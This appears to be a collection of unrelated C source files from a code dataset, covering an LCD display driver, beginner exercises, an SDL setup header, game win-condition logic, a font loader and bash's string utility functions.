* SET_DC() - set D/~C pin high (data)
* CLEAR_DC() - clear D/~C (command)
* CHIP_EN() - clear ~SCE
* CHIP_DIS() - set ~SCE (disable chip)
* CLEAR_RST() - set 1 on RST pin
* LCD_RST() - set 0 on RST pin
*/
#include "hw_init.h"
#include <string.h>
const scrnsz_t LTRS_IN_ROW = XSIZE / LTR_WIDTH;
const scrnsz_t ROW_MAX = YSIZE / 8;
// array for fast pixel set/reset
const U8 const pixels_set[] = {1,2,4,8,0x10,0x20,0x40,0x80};
const U8 const pixels_reset[] = {0xfe,0xfd,0xfb,0xf7,0xef,0xdf,0xbf,0x7f};
/**
* I use horizontal addressing of PCD8544, so data in buffer
* stored line by line, each byte is 8 vertical pixels (LSB upper)
*
* As refresh speed is fast enough, I don't use partial update for graphics
* (but use for letters)
*/
#define DISPLAYBUFSIZE (XSIZE*YCHARSZ)
static U8 displaybuf[DISPLAYBUFSIZE];
// current letter coordinates - for "printf"
static scrnsz_t cur_x = 0, cur_y = 0;
extern U8 bias, vop, temp;
void pcd8544_setbias(U8 val){
CMD(PCD8544_EXTENDEDINSTRUCTION);
SETBIAS(val);
CMD(PCD8544_DEFAULTMODE);
}
void pcd8544_setvop(U8 val){
CMD(PCD8544_EXTENDEDINSTRUCTION);
SETVOP(val);
CMD(PCD8544_DEFAULTMODE);
}
void pcd8544_settemp(U8 val){
CMD(PCD8544_EXTENDEDINSTRUCTION);
SETTEMP(val);
CMD(PCD8544_DEFAULTMODE);
}
/**
* Init SPI & display
*/
void pcd8544_init(){
CHIP_DIS();
SET_DC();
LCD_RST();
Delay(10);
CLEAR_RST(); // set ~RST to 1, performing out of RESET stage
// CMD(0x21); CMD(0xc8); CMD(0x06); CMD(0x13); CMD(0x20); CMD(0x0c);
// set LCD to optimal mode by datasheet: bias 1/48 (n=4), Vlcd 6.06 (Vop=50), normal Tcorr (1)
CMD(PCD8544_EXTENDEDINSTRUCTION);
SETBIAS(4);
SETVOP(65);
SETTEMP(1);
// return to regular instructions set, horizontal addressing & prepare normal display mode
CMD(PCD8544_DEFAULTMODE);
CMD(PCD8544_DISPLAYNORMAL);
pcd8544_cls();
}
/**
* Send command (cmd != 0) or data (cmd == 0) byte
*/
void pcd8544_send_byte(U8 byte, U8 cmd){
CHIP_EN();
if(cmd)
CLEAR_DC();
else
SET_DC();
spi_write_byte(byte);
}
/**
* Send data sequence
*/
void pcd8544_send_data(U8 *data, bufsz_t size, U8 cmd){
CHIP_EN();
if(cmd)
CLEAR_DC();
else
SET_DC();
spiWrite(data, size);
CHIP_DIS();
}
void draw_pixel(scrnsz_t x, scrnsz_t y, U8 set){
bufsz_t idx;
if(bad_coords(x,y)) return;
idx = x + (y/8) * XSIZE;
y %= 8;
if(set)
displaybuf[idx] |= pixels_set[y];
else
displaybuf[idx] &= pixels_reset[y];
}
void pcd8544_cls(){
memset(displaybuf, 0, DISPLAYBUFSIZE);
cur_x = cur_y = 0;
pcd8544_refresh();
}
/**
* send full data buffer onto display
*/
void pcd8544_refresh(){
SETXADDR(0);
SETYADDR(0);
DBUF(displaybuf, DISPLAYBUFSIZE);
}
/**
* draw letter at x,y position in char coordinates (XCHARSZ x YCHARSZ)
* @return 0 if fail
*/
int pcd8544_put(U8 koi8, scrnsz_t x, scrnsz_t y){
U8 *symbol;
bufsz_t idx;
if(x >= XCHARSZ || y >= YCHARSZ) return 0;
if(koi8 < 32) return 0;
symbol = (U8*)letter(koi8);
x *= LTR_WIDTH;
idx = x + y*XSIZE;
// put letter into display buffer
memcpy(&displaybuf[idx], symbol, LTR_WIDTH);
// and show it on display
SETXADDR(x);
SETYADDR(y);
DBUF(symbol, LTR_WIDTH);
return 1;
}
/**
* put char into current position or next line; return char if couldn't be printed
* (if OK return 0 or '\n' if newline was made)
*/
U8 pcd8544_putch(U8 chr){
scrnsz_t tabpos;
U8 ret = 0;
if(cur_x >= XCHARSZ || cur_y >= YCHARSZ) return chr;
if(chr < 32){ // special symbols
switch(chr){
case '\n': // carriage return - return to beginning of current line
++cur_y;
// here shouldn't be a "break" because '\n' == "\r\n"
case '\r': // newline
cur_x = 0;
break;
case '\b': // return to previous position (backspace)
if(cur_x) --cur_x;
break;
case '\t': // tabulation by 4 symbols
tabpos = ((cur_x>>2)<<2) + 4;
if(tabpos < XCHARSZ) cur_x = tabpos;
else return chr;
break;
}
}else{
// increment x position here (there could be not writeable letters)
pcd8544_put(chr, cur_x++, cur_y);
}
if(cur_x == XCHARSZ){
cur_x = 0;
++cur_y;
return '\n';
}
return ret;
}
/**
* print zero-terminated string from current (cur_x, cur_y)
* truncate long strings that don't fit into display
* @return NULL if all OK or pointer to non-printed string
*/
U8 *pcd8544_print(U8 *koi8){
while(*koi8){
U8 chr = *koi8;
if(pcd8544_putch(chr) == chr) return koi8;
++koi8;
}
return NULL;
}
/**
* roll screen by 1 line up
*/
void pcd8544_roll_screen(){
bufsz_t idx = DISPLAYBUFSIZE-XSIZE;
memmove(displaybuf, displaybuf + XSIZE, idx);
memset(displaybuf+idx, 0, XSIZE);
pcd8544_refresh();
if(cur_y) --cur_y;
}
|
C
|
#include <stdio.h>
int main(void)
{
unsigned n,znam=1;
printf("Unesite broj:");
scanf("%d",&n);
while(n>=10)
{
n/=10;
znam+=1;
}
printf("Broj ima %d znamenki", znam);
return 0;
}
|
C
|
//
// Created by Guy Moyal on 20/03/2018.
//
#include "utils.h"
int getReverseDigit(int num, int digit){
if (digit != 0){
for (int i = 0; i < digit; ++i) {
num = num / 10;
}
}
num=num%10;
return num;
}
|
C
|
#include "holberton.h"
/**
*print_most_numbers - a function that prints numbers from 0 to 9,
*not printing 2 and 4, followed by a new line
*
*Return: The returned value will be 0.
*/
void print_most_numbers(void)
{
int i = 0;
while (i < 10)
{
if (i == 2 || i == 4)
{
i++;
continue;
}
_putchar(i + '0');
i++;
}
_putchar('\n');
}
|
C
|
//
// challenge3.c
// yswC
//
// Created by 김지훈 on 2021/02/23.
//
//#include<stdio.h>
//int max(int num1, int num2)
//{
// int i;
// for(i=num1;i>1;i--)
// {
// if((num1%i==0) && (num2%i==0))
// return i;
// }
// return 0;
//}
//
//int main()
//{
// int num1, num2;
// printf("두 개의 정수 입력: ");
// scanf("%d %d",&num1,&num2);
// if(num1<num2)
// printf("두 수의 최대공약수: %d\n",max(num1,num2));
// else
// printf("두 수의 최대공약수: %d\n",max(num2,num1));
// return 0;
//}
|
C
|
#include<stdio.h>
/* demo.c: My first C program on a Linux computer */
int main(void)
{
printf("Hello! This is a test program.\n");
return 0;
}
|
C
|
#include <unistd.h> /* chamadas ao sistema: defs e decls essenciais */
#include <sys/wait.h> /* chamadas wait*() e macros relacionadas */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LINHAS 10
#define COLUNAS 100
int MATRIZ[LINHAS][COLUNAS] = {0};
int has_num(int linha, int num){
int i;
for(i = 0; i < COLUNAS && MATRIZ[linha][i] != num; i++);
if(MATRIZ[linha][i] == num)
return 1;
return 0;
}
int main(int argc, char const *argv[]){
int i, j, num, status;
pid_t SONS[LINHAS], aux; //by concorde
//num to be search given in argv[1]
if(argc < 2)
return 1;
num = atoi(argv[1]);
//Randomize positions with random numbers
for(i = 0; i < LINHAS; i++)
MATRIZ[i][rand() % COLUNAS] = rand() % 5;
for(i = 0; i < LINHAS; i++){
for(j = 0; j < COLUNAS; j++)
printf("%d ", MATRIZ[i][j]);
printf("\n");
}
for(i = 0; i < LINHAS; i++){
aux = fork();
if(aux == 0)
_exit(has_num(i, num));
else
SONS[i] = aux;
}
for(i = 0; i < LINHAS; i++){
aux = waitpid(SONS[i], &status, 0);
if(aux == SONS[i] && WIFEXITED(status)){
if(WEXITSTATUS(status))
printf("Found in line %d\n", i);
}
else
printf("Something went wrong with process %d\n", i);
}
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
/* 使用getopt_long时不需要unistd*/
#include <getopt.h>
/* 用来作为一个标志的值. */
static int verbose_flag;
int main (int argc, char **argv)
{
int c;
while (1) {
static struct option long_options[] = {
/* 如果指定了 --verbose 那么 verbose_flag=1 */
{"verbose", no_argument, &verbose_flag, 1},
/* 如果指定了--brief 那么 verbose_flag=0 */
{"brief", no_argument, &verbose_flag, 0},
/* --add = -a 不带参数*/
{"add", no_argument, 0, 'a'},
{"append", no_argument, 0, 'b'},
/* --delete=XX = -dXX 带参数*/
{"delete", required_argument, 0, 'd'},
{"create", required_argument, 0, 'c'},
{"file", required_argument, 0, 'f'},
/* 很明显 5438 不可能用一个 ANSCI 表示出来,那么这个可以直接用 case 就可以*/
{"a_very_long_arg", no_argument, 0, 5438},
/* 最后为空值,来标识结束 */
{0, 0, 0, 0}
};
/* 因为没有了optind,那么就要用一个值来存储当前索引 */
int option_index = 0;
/* 前三个参数与 getopt 相同,第四个为 option,第五个为存索引 int 的指针*/
c = getopt_long (argc, argv, "abc:d:f:", long_options, &option_index);
/* 当解析完返回 -1 跳出循环 */
if (c == -1)
break;
switch (c) {
case 0:
/* 当 flag 不为 0 时,遇到那些选项 getopt_long 返回 0*/
if (long_options[option_index].flag != 0)
break;
printf ("选项 %s", long_options[option_index].name);
if (optarg)
printf (" 值 %s", optarg);
printf ("\n");
break;
case 'a':
puts ("选项 -a");
break;
case 'b':
puts ("选项 -b");
break;
//长选项
case 5438:
puts ("选项 --a_very_long_arg");
break;
case 'c':
printf ("选项 -c 值为 `%s'\n", optarg);
break;
case 'd':
printf ("选项 -d 值为 `%s'\n", optarg);
break;
case 'f':
printf ("选项 -f 值为 `%s'\n", optarg);
break;
case '?':
/* getopt_long 会自动输出错误,不像 getopt 需要自己检测 */
break;
default:
abort ();
}
}
/* 检测是否设置了标志位 */
if (verbose_flag)
puts ("verbose 标志已被设置");
/* 输入未解析完的选项. */
if (optind < argc) {
printf ("无效选项: ");
while (optind < argc)
printf ("%s ", argv[optind++]);
putchar ('\n');
}
exit (0);
}
|
C
|
#ifndef MATERIAL_H
#define MATERIAL_H
#include "color.h"
#include "vector.h"
struct Light
{
Vector pos;
Color intensity;
Light() {};
Light(Vector p, Color i) { pos = p; intensity = i; }
void operator=(Light &l) { pos = l.pos; intensity = l.intensity; }
Color getIntes(Vector v) { return intensity / pow((v-pos).length(),2); }
Color getColor() { return intensity; }
};
struct Material
{
Color n;
Color k;
Color kd;
Color ks;
Color ka;
int shine;
bool is_reflective;
bool is_refractive;
bool rough;
bool textured;
static Material green;
static Material blue;
static Material gold;
static Material silver;
static Material copper;
static Material glass;
Material(Color i_n, Color i_k, Color i_kd, Color i_ks, Color i_ka, int i_shine,
bool i_is_reflective, bool i_is_refractive);
Material() { rough = false; textured = false; }
void operator=(const Material &other);
Color fresnel(Vector& N, Vector& V);
bool refractDir(Vector V, Vector N, Vector &newDir);
static void initMaterials();
};
#endif
|
C
|
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void reverse(char *s)
{
char *begin=s;
char temp;
// int n;
// n=strlen(str)-1;
char *end=s;
while(*end!='\0')
{
printf("%c\n",*end);
end++;
}
end=end-1;
while(begin<end)
{
temp=*begin;
*begin++=*end;
*end--=temp;
}
}
void main()
{
char str[]="SAJAN PONNAPPA";
printf("Normal string is %s\n",str);
reverse(str);
printf("reversed string is %s\n",str);
}
|
C
|
#include<stdio.h>
void main() {
int arr[10];
printf("Enter the element in array : ");
for(int i = 0; i < 10; i++) {
scanf("%d",&arr[i]);
}
int *iptr = arr;
printf("By array : \n");
for(int i = 0; i < 10; i++) {
printf("%d ",arr[i]);
}
printf("\nBy pointer addition : \n");
for(int i = 0; i < 10; i++) {
iptr = arr + i;
printf("%d ",*iptr);
}
int *new = arr;
printf("\nBy adding 1 to address : \n");
for(int i = 0; i < 10; i++) {
printf("%d ",*new);
new = new + 1;
}
}
/*
Enter the element in array : 1 2 3 4 5 6 7 8 9 10
By array :
1 2 3 4 5 6 7 8 9 10
By pointer addition :
1 2 3 4 5 6 7 8 9 10
By adding 1 to address :
1 2 3 4 5 6 7 8 9 10
*/
|
C
|
/*
* font.c: font handling
* $Id: font.c 2318 2008-04-26 08:41:43Z sam $
*
* Copyright: (c) 2005 Sam Hocevar <sam@zoy.org>
* This program is free software. It comes without any warranty, to
* the extent permitted by applicable law. You can redistribute it
* and/or modify it under the terms of the Do What The Fuck You Want
* To Public License, Version 2, as published by Sam Hocevar. See
* http://sam.zoy.org/wtfpl/COPYING for more details.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "config.h"
#include "common.h"
struct font *font_load_fixed(char const *decoder, char const *file,
char const *chars)
{
char fontname[BUFSIZ];
struct font *font;
struct image *img;
int i;
sprintf(fontname, "src/%s/%s", decoder, file);
img = image_load(fontname);
if(!img)
{
sprintf(fontname, "%s/%s/%s", share, decoder, file);
img = image_load(fontname);
}
if(!img)
{
fprintf(stderr, "%s: cannot load font %s\n", argv0, fontname);
return NULL;
}
font = malloc(sizeof(struct font));
font->img = img;
font->size = strlen(chars);
font->glyphs = malloc(font->size * sizeof(struct glyph));
for(i = 0; i < font->size; i++)
{
font->glyphs[i].xmin = i * font->img->width / font->size;
font->glyphs[i].xmax = (i + 1) * font->img->width / font->size;
font->glyphs[i].ymin = 0;
font->glyphs[i].ymax = font->img->height;
font->glyphs[i].count = 0; /* They all have the same width anyway */
font->glyphs[i].c = chars[i];
}
return font;
}
struct font *font_load_variable(char const *decoder, char const *file,
char const *chars)
{
char fontname[BUFSIZ];
struct font *font;
struct image *img;
int count = 0, incell = 0, xmin, xmax, ymin, ymax;
int x, y, i;
int r, g, b;
sprintf(fontname, "src/%s/%s", decoder, file);
img = image_load(fontname);
if(!img)
{
sprintf(fontname, "%s/%s/%s", share, decoder, file);
img = image_load(fontname);
}
if(!img)
{
fprintf(stderr, "%s: cannot load font %s\n", argv0, fontname);
return NULL;
}
font = malloc(sizeof(struct font));
font->img = img;
font->size = strlen(chars);
font->glyphs = malloc(font->size * sizeof(struct glyph));
for(x = 0, i = 0, xmin = 0; x <= font->img->width && i < font->size; x++)
{
int found = 0;
if(x != font->img->width)
for(y = 0; y < font->img->height; y++)
{
getpixel(font->img, x, y, &r, &g, &b);
if(r < 250)
{
found = 1;
count += (255 - r);
}
}
else
found = 0;
if(found && !incell)
{
incell = 1;
xmin = x;
}
else if(!found && incell)
{
incell = 0;
xmax = x;
#if 0
ymin = font->img->height;
ymax = 0;
for(y = 0; y < font->img->height; y++)
{
int newx;
int gotit = 0;
for(newx = xmin; newx < xmax; newx++)
{
getpixel(font->img, newx, y, &r, &g, &b);
if(r < 250)
{
gotit = 1;
break;
}
}
if(gotit)
{
if(ymin > y) ymin = y;
if(ymax <= y) ymax = y + 1;
}
}
#else
ymin = 0;
ymax = font->img->height;
#endif
font->glyphs[i].xmin = xmin;
font->glyphs[i].xmax = xmax;
font->glyphs[i].ymin = ymin;
font->glyphs[i].ymax = ymax;
font->glyphs[i].count = count;
font->glyphs[i].c = chars[i];
count = 0;
i++;
}
}
if(i != font->size)
{
fprintf(stderr, "%s: could only find %i of %i glyphs in font %s\n",
argv0, i, font->size, file);
image_free(font->img);
free(font->glyphs);
free(font);
return NULL;
}
return font;
}
void font_free(struct font *font)
{
image_free(font->img);
free(font->glyphs);
free(font);
}
|
C
|
/*Prints a table of square using a for statement*/
#include <stdio.h>
int main(void)
{
short i, n;
char c;
printf("This program prints a table of suares.\n");
printf("Enter number of entries in table: ");
scanf_s("%hd", &n);
getchar();
for (i = 1; i < n; i++)
{
printf("%10d%10d\n", i, i * i);
if (i % 24 == 0)
{
printf("Enter to continue...");
getchar();
}
}
return 0;
}
|
C
|
#ifndef _SDL_H_
#define _SDL_H_
#include <SDL2/SDL.h>
#include <SDL2/SDL_image.h>
void initSDL(SDL_Window **window, SDL_Renderer **renderer)
{
SDL_Init(SDL_INIT_EVERYTHING);
*window = SDL_CreateWindow("Shoot!", SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED, 800, 600, SDL_WINDOW_SHOWN);
if (window == NULL) {
fprintf(stderr, "%s", SDL_GetError());
exit(-1);
}
*renderer = SDL_CreateRenderer(*window, -1, SDL_RENDERER_ACCELERATED);
if (renderer == NULL) {
fprintf(stderr, "%s", SDL_GetError());
exit(-1);
}
}
void destroySDL(SDL_Window *window, SDL_Renderer *renderer)
{
SDL_DestroyRenderer(renderer);
SDL_DestroyWindow(window);
SDL_Quit();
}
SDL_Texture *loadImg(const char * filename, SDL_Renderer *renderer)
{
SDL_Surface *file;
SDL_Texture *image;
file = SDL_LoadBMP(filename);
if (file == NULL) {
fprintf(stderr, "%s", SDL_GetError());
exit(1);
}
image = SDL_CreateTextureFromSurface(renderer, file);
SDL_FreeSurface(file);
return image;
}
#endif
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* winning_and_losing.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jgelbard <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/10/01 00:24:58 by jgelbard #+# #+# */
/* Updated: 2018/10/01 00:24:58 by jgelbard ### ########.fr */
/* */
/* ************************************************************************** */
#include "player_type.h"
#include "hatch_queue.h"
#define MAX_LEVEL 8
#define LEVELCAPPED_PLAYERS_TO_WIN 6
static int g_num_winners = 0;
static int *g_winning_team_ids;
void increase_player_level(t_player *p, int new_level)
{
static int *team_players_at_max_level;
if (!team_players_at_max_level)
team_players_at_max_level = calloc(g_opts.teamcount, sizeof(int));
assert(p->level < new_level);
p->level = new_level;
if (new_level == MAX_LEVEL)
team_players_at_max_level[p->team_id] += 1;
if (team_players_at_max_level[p->team_id] == LEVELCAPPED_PLAYERS_TO_WIN)
{
if (!g_winning_team_ids)
g_winning_team_ids = calloc(g_opts.teamcount, sizeof(int));
g_winning_team_ids[g_num_winners] = p->team_id;
++g_num_winners;
}
}
int is_everyone_dead(void)
{
int i;
if (g_hatch_queue.length > 0)
return (0);
i = 0;
while (i < g_opts.teamcount)
{
if (g_map->players_on_team[i] > 0)
return (0);
++i;
}
return (1);
}
int get_winning_teams(int **team_ids_ptr)
{
if (is_everyone_dead())
return (-1);
if (g_num_winners > 0)
{
*team_ids_ptr = malloc(g_num_winners * sizeof(int));
memcpy(*team_ids_ptr, g_winning_team_ids, g_num_winners * sizeof(int));
}
return (g_num_winners);
}
|
C
|
#include <stdio.h>
#define HF 480
int main(){
int h, m, hi, atraso;
char p;
while(scanf("%d", &h) != EOF){
scanf("%c%d", &p, &m);
hi = h*60+m+60;
atraso = hi-HF;
if(atraso < 0)
atraso = 0;
printf("Atraso maximo: %d\n", atraso);
}
return(0);
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strcadd.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: abumbier <abumbier@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/05/17 14:23:51 by abumbier #+# #+# */
/* Updated: 2019/06/14 13:08:12 by abumbier ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
/*
** @desc: Adds the char at the end of the string and returns the string as\
** a substitution for the s1.
** Function creates a new string if the s1 is NULL.
*/
static char *ft_create_new(char c)
{
char *str;
str = (char*)malloc(2);
str[0] = c;
str[1] = '\0';
return (str);
}
char *ft_strcadd(char *s1, char c)
{
int i;
int len;
char *str;
char *str_temp;
i = 0;
len = 0;
if (s1 == NULL)
return (ft_create_new(c));
str_temp = ft_strdup(s1);
if (s1 != NULL)
ft_strdel(&s1);
str = (char*)malloc(sizeof(char) * ft_strlen(str_temp) + 2);
if (str == NULL)
return (NULL);
while (str_temp[len])
{
str[len] = str_temp[len];
len++;
}
str[len] = c;
str[len + 1] = '\0';
ft_strdel(&str_temp);
return (str);
}
|
C
|
#include <stdio.h>
#include "other_file.h" /* a and b are staying in memory
after they are out of scope*/
#define PRICE_OF_CORN 0.99 // Defines the Price of Corn
void autovars(void)
{
auto word;
word = 1;
printf("word var: %i\n", word);
}
int main(void)
{
register a = 2;
register b = 2;
register sum = a + b;
printf("a and b are stored in the CPU which makes this faster.\n");
printf("a + b = %i\n", sum);
autovars();
// printf("%i", word); if you call this variable outside of it's scope the compiler will complain because the var does not exist because it's defined as a auto var
// Static Var
printf("a = %d\n", a);
a = 1;
printf("a = %d\n", a);
modify();
printf("a = %d\n", a);
//Scope Practice
int i;
i = 6;
printf("The var 'i' is: %i\n", i);
i = 2;
printf("The var 'i' is: %i\n", i);
// Types
char ch = 'a';
char string[] = "This is a String.";
float pi = 3.141f;
double pi_accurate = 3.14159265;
short short_int = 6;
// The #define macro
printf("The Price of Corn is: %f\n", PRICE_OF_CORN);
printf("The Price of Corn discounted by 50 percent is: %f\n", PRICE_OF_CORN / 2);
printf("I learned a lot from this about C variable types Including auto, static and more!\n");
printf("From Tyler Wendorff.\n");
return 0;
}
|
C
|
#include <stdio.h>
int main()
{
double x,y;
int i;
while(1)
{
y=0;
scanf("%lf",&x);
if(!x)break;
for(i=2;y<x;i++)y+=(1.0/i);
printf("%d card(s)\n",i-2);
}
return 0;
}
|
C
|
/*
* main.c
*
* Created: 2/20/2019 6:29:09 PM
* Author: AVE-LAP-016
*/
/*
* Avelabs_Project.c
*
* Created: 2/13/2019 10:53:23 AM
* Author : AVE-LAP-016
*/
#include "types.h"
#include "BitwiseOperation.h"
#include "DIO_Registers.h"
#include "DIO_Registers_Definitions.h"
#include "delay_Timer.h"
#define GO 0
#define STOP 1
#define GET_READY 2
int main(void)
{
DIO_SetPinDirection(PIN13,OUTPUT);
DIO_SetPinDirection(PIN14,OUTPUT);
DIO_SetPinDirection(PIN15,OUTPUT);
/*Set Pins To LOW*/
DIO_WritePin(PIN13,LOW);
DIO_WritePin(PIN14,LOW);
DIO_WritePin(PIN15,LOW);
timer_init();
while (1)
{
switch (Sec%3)
{
case GO :
DIO_WritePin(PIN13,HIGH);
DIO_WritePin(PIN15,LOW);
DIO_WritePin(PIN14,LOW);
break;
case STOP :
DIO_WritePin(PIN13,LOW);
DIO_WritePin(PIN15,HIGH);
DIO_WritePin(PIN14,LOW);
break;
case GET_READY :
DIO_WritePin(PIN13,LOW);
DIO_WritePin(PIN15,LOW);
DIO_WritePin(PIN14,HIGH);
break;
}
}
return 0 ;
}
|
C
|
/* stringlib.c - Miscellaneous string functions. */
/* Copyright (C) 1996
Free Software Foundation, Inc.
This file is part of GNU Bash, the Bourne Again SHell.
Bash is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; either version 2, or (at your option) any later
version.
Bash is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License along
with Bash; see the file COPYING. If not, write to the Free Software
Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. */
//#include "config.h"
//#include "bashtypes.h"
#if defined (HAVE_UNISTD_H)
//# include <unistd.h>
#endif
//#include "bashansi.h"
//#include <stdio.h>
//#include <ctype.h>
//#include "shell.h"
#ifndef to_upper
# define to_upper(c) (islower(c) ? toupper(c) : (c))
# define to_lower(c) (isupper(c) ? tolower(c) : (c))
#endif
/* Convert STRING by expanding the escape sequences specified by the
ANSI C standard. If SAWC is non-null, recognize `\c' and use that
as a string terminator. If we see \c, set *SAWC to 1 before
returning. LEN is the length of STRING. */
char *
ansicstr (string, len, sawc, rlen)
char *string;
int len, *sawc, *rlen;
{
int c;
char *ret, *r, *s;
if (string == 0 || *string == '\0')
return ((char *)NULL);
ret = xmalloc (len + 1);
for (r = ret, s = string; s && *s; )
{
c = *s++;
if (c != '\\' || *s == '\0')
*r++ = c;
else
{
switch (c = *s++)
{
#if defined (__STDC__)
case 'a': c = '\a'; break;
case 'v': c = '\v'; break;
#else
case 'a': c = '\007'; break;
case 'v': c = (int) 0x0B; break;
#endif
case 'b': c = '\b'; break;
case 'e': c = '\033'; break; /* ESC -- non-ANSI */
case 'E': c = '\033'; break; /* ESC -- non-ANSI */
case 'f': c = '\f'; break;
case 'n': c = '\n'; break;
case 'r': c = '\r'; break;
case 't': c = '\t'; break;
case '0': case '1': case '2': case '3':
case '4': case '5': case '6': case '7':
c -= '0';
if (*s >= '0' && *s <= '7')
c = c * 8 + (*s++ - '0');
if (*s >= '0' && *s <= '7')
c = c * 8 + (*s++ - '0');
break;
case '\\':
case '\'':
break;
case 'c':
if (sawc)
{
*sawc = 1;
*r = '\0';
if (rlen)
*rlen = r - ret;
return ret;
}
default: *r++ = '\\'; break;
}
*r++ = c;
}
}
*r = '\0';
if (rlen)
*rlen = r - ret;
return ret;
}
/* **************************************************************** */
/* */
/* Functions to manage arrays of strings */
/* */
/* **************************************************************** */
/* Find NAME in ARRAY. Return the index of NAME, or -1 if not present.
ARRAY should be NULL terminated. */
int
find_name_in_array (name, array)
char *name, **array;
{
int i;
for (i = 0; array[i]; i++)
if (STREQ (name, array[i]))
return (i);
return (-1);
}
/* Return the length of ARRAY, a NULL terminated array of char *. */
int
array_len (array)
char **array;
{
register int i;
for (i = 0; array[i]; i++);
return (i);
}
/* Free the contents of ARRAY, a NULL terminated array of char *. */
void
free_array_members (array)
char **array;
{
register int i;
if (array == 0)
return;
for (i = 0; array[i]; i++)
free (array[i]);
}
void
free_array (array)
char **array;
{
if (array == 0)
return;
free_array_members (array);
free (array);
}
/* Allocate and return a new copy of ARRAY and its contents. */
char **
copy_array (array)
char **array;
{
register int i;
int len;
char **new_array;
len = array_len (array);
new_array = (char **)xmalloc ((len + 1) * sizeof (char *));
for (i = 0; array[i]; i++)
new_array[i] = savestring (array[i]);
new_array[i] = (char *)NULL;
return (new_array);
}
/* Comparison routine for use with qsort() on arrays of strings. Uses
strcoll(3) if available, otherwise it uses strcmp(3). */
int
qsort_string_compare (s1, s2)
register char **s1, **s2;
{
#if defined (HAVE_STRCOLL)
return (strcoll (*s1, *s2));
#else /* !HAVE_STRCOLL */
int result;
if ((result = **s1 - **s2) == 0)
result = strcmp (*s1, *s2);
return (result);
#endif /* !HAVE_STRCOLL */
}
/* Sort ARRAY, a null terminated array of pointers to strings. */
void
sort_char_array (array)
char **array;
{
qsort (array, array_len (array), sizeof (char *),
(Function *)qsort_string_compare);
}
/* Cons up a new array of words. The words are taken from LIST,
which is a WORD_LIST *. If COPY is true, everything is malloc'ed,
so you should free everything in this array when you are done.
The array is NULL terminated. If IP is non-null, it gets the
number of words in the returned array. STARTING_INDEX says where
to start filling in the returned array; it can be used to reserve
space at the beginning of the array. */
char **
word_list_to_argv (list, copy, starting_index, ip)
WORD_LIST *list;
int copy, starting_index, *ip;
{
int count;
char **array;
count = list_length (list);
array = (char **)xmalloc ((1 + count + starting_index) * sizeof (char *));
for (count = 0; count < starting_index; count++)
array[count] = (char *)NULL;
for (count = starting_index; list; count++, list = list->next)
array[count] = copy ? savestring (list->word->word) : list->word->word;
array[count] = (char *)NULL;
if (ip)
*ip = count;
return (array);
}
/* Convert an array of strings into the form used internally by the shell.
COPY means to copy the values in ARRAY into the returned list rather
than allocate new storage. STARTING_INDEX says where in ARRAY to begin. */
WORD_LIST *
argv_to_word_list (array, copy, starting_index)
char **array;
int copy, starting_index;
{
WORD_LIST *list;
WORD_DESC *w;
int i, count;
if (array == 0 || array[0] == 0)
return (WORD_LIST *)NULL;
for (count = 0; array[count]; count++)
;
for (i = starting_index, list = (WORD_LIST *)NULL; i < count; i++)
{
w = make_bare_word (copy ? "" : array[i]);
if (copy)
{
free (w->word);
w->word = array[i];
}
list = make_word_list (w, list);
}
return (REVERSE_LIST(list, WORD_LIST *));
}
/* **************************************************************** */
/* */
/* String Management Functions */
/* */
/* **************************************************************** */
/* Replace occurrences of PAT with REP in STRING. If GLOBAL is non-zero,
replace all occurrences, otherwise replace only the first.
This returns a new string; the caller should free it. */
char *
strsub (string, pat, rep, global)
char *string, *pat, *rep;
int global;
{
int patlen, templen, tempsize, repl, i;
char *temp, *r;
patlen = strlen (pat);
for (temp = (char *)NULL, i = templen = tempsize = 0, repl = 1; string[i]; )
{
if (repl && STREQN (string + i, pat, patlen))
{
RESIZE_MALLOCED_BUFFER (temp, templen, patlen, tempsize, (patlen * 2));
for (r = rep; *r; )
temp[templen++] = *r++;
i += patlen;
repl = global != 0;
}
else
{
RESIZE_MALLOCED_BUFFER (temp, templen, 1, tempsize, 16);
temp[templen++] = string[i++];
}
}
temp[templen] = 0;
return (temp);
}
#ifdef INCLUDE_UNUSED
/* Remove all leading whitespace from STRING. This includes
newlines. STRING should be terminated with a zero. */
void
strip_leading (string)
char *string;
{
char *start = string;
while (*string && (whitespace (*string) || *string == '\n'))
string++;
if (string != start)
{
int len = strlen (string);
FASTCOPY (string, start, len);
start[len] = '\0';
}
}
#endif
/* Remove all trailing whitespace from STRING. This includes
newlines. If NEWLINES_ONLY is non-zero, only trailing newlines
are removed. STRING should be terminated with a zero. */
void
strip_trailing (string, len, newlines_only)
char *string;
int len;
int newlines_only;
{
while (len >= 0)
{
if ((newlines_only && string[len] == '\n') ||
(!newlines_only && whitespace (string[len])))
len--;
else
break;
}
string[len + 1] = '\0';
}
/* Determine if s2 occurs in s1. If so, return a pointer to the
match in s1. The compare is case insensitive. This is a
case-insensitive strstr(3). */
char *
strindex (s1, s2)
char *s1, *s2;
{
register int i, l, len, c;
c = to_upper (s2[0]);
for (i = 0, len = strlen (s1), l = strlen (s2); (len - i) >= l; i++)
if ((to_upper (s1[i]) == c) && (strncasecmp (s1 + i, s2, l) == 0))
return (s1 + i);
return ((char *)NULL);
}
/* A wrapper for bcopy that can be prototyped in general.h */
void
xbcopy (s, d, n)
char *s, *d;
int n;
{
FASTCOPY (s, d, n);
}
|
C
|
/**
* This program finds the ith order statistic of
